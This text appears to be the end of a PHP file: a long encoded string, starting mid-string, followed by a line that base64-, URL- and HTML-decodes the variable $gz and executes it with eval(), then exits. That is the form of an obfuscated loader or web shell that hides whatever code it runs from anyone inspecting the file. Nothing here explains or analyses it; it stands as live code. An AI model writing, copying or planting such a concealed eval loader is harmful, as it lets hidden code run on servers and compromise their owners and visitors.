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";
eval(htmlspecialchars_decode(urldecode(base64_decode($gz))));
exit;
?>